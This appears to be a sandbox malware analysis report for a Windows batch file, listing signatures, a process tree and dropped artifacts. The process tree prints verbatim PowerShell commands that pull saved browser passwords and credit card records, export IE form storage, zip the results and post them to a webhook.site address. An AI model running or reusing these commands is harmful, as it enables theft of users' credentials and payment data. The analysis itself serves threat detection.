Analysis

  • max time kernel
    149s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/05/2026, 15:01

General

  • Target
    deepseek_batch_20260504_e656a9.bat
  • Size 3KB
  • Sample260504-sec6vaet4t
  • SHA256 5ef3bae0daf86c0659cb5ceba585257a7be933982f967465acf30f5594740e73
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Delays execution with timeout.exe 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260504_e656a9.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4440
    • C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:4632
    • C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:4396
    • C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:4536
    • C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:4564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$web='https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf'; $out=''; foreach($f in dir 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*_login') { $q='select origin_url, username_value, password_value from logins'; Add-Type -AssemblyName System.Data.SQLite; $c='Data Source='+$f.FullName; $d=New-Object System.Data.DataSet; $a=New-Object System.Data.SQLite.SQLiteDataAdapter($q,$c); $a.Fill($d); foreach($r in $d.Tables[0].Rows) { $out+='URL: '+$r[0]+' User: '+$r[1]+' Pass: '+[System.Text.Encoding]::UTF8.GetString($r[2])+'`n' } }; Invoke-RestMethod -Uri $web -Method Post -Body $out"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$web='https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf'; $crd=''; foreach($f in dir 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*_web') { $q='select name_on_card, expiration_month, expiration_year, card_number_encrypted from credit_cards'; Add-Type -AssemblyName System.Data.SQLite; $c='Data Source='+$f.FullName; $d=New-Object System.Data.DataSet; $a=New-Object System.Data.SQLite.SQLiteDataAdapter($q,$c); $a.Fill($d); foreach($r in $d.Tables[0].Rows) { $crd+='Card: '+$r[0]+' Exp: '+$r[1]+'/'+$r[2]+' Enc: '+$r[3]+'`n' } }; Invoke-RestMethod -Uri $web -Method Post -Body $crd"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1452
    • C:\Windows\system32\reg.exe
      reg export "HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2" "C:\Users\Admin\AppData\Local\Temp\wllytmp\ie_pass.reg"
      2⤵
        PID:6088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\wllytmp\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\wllytmp\wlly.zip' -Force; $b=[Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\wllytmp\wlly.zip')); Invoke-RestMethod -Uri 'https://webhook.site/15ec984d-1c33-4058-9782-032429a9e4cf' -Method Post -Body $b"
        2⤵
        • Badlisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5368
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:3548
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:3684

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 327c9e95f8345d28e82c2669c5dae69c98cf0b72a1c38c277d0ae722cdb21c68
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 a76a323f59195d470c9cadbf5d34b06004317234fd6462e7d7402d8b88375c98
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_5trfnqfm.squ.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5trfnqfm.squ.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1452-29-0x000002696D830000-0x000002696D9F2000-memory.dmp

          memory/1452-31-0x00000269549D0000-0x00000269549DC000-memory.dmp

          memory/4748-10-0x00000123F8740000-0x00000123F8750000-memory.dmp

          memory/4748-11-0x00000123F8740000-0x00000123F8750000-memory.dmp

          memory/4748-12-0x00000123F6790000-0x00000123F679C000-memory.dmp

          memory/4748-16-0x00000123F8740000-0x00000123F8750000-memory.dmp

          memory/4748-19-0x00000123F6790000-0x00000123F679C000-memory.dmp

          memory/4748-0-0x00000123F8740000-0x00000123F8750000-memory.dmp

          memory/4748-9-0x00000123F86D0000-0x00000123F86F2000-memory.dmp

          memory/4748-1-0x00000123F8740000-0x00000123F8750000-memory.dmp

          memory/5368-41-0x0000012703E00000-0x0000012703E0C000-memory.dmp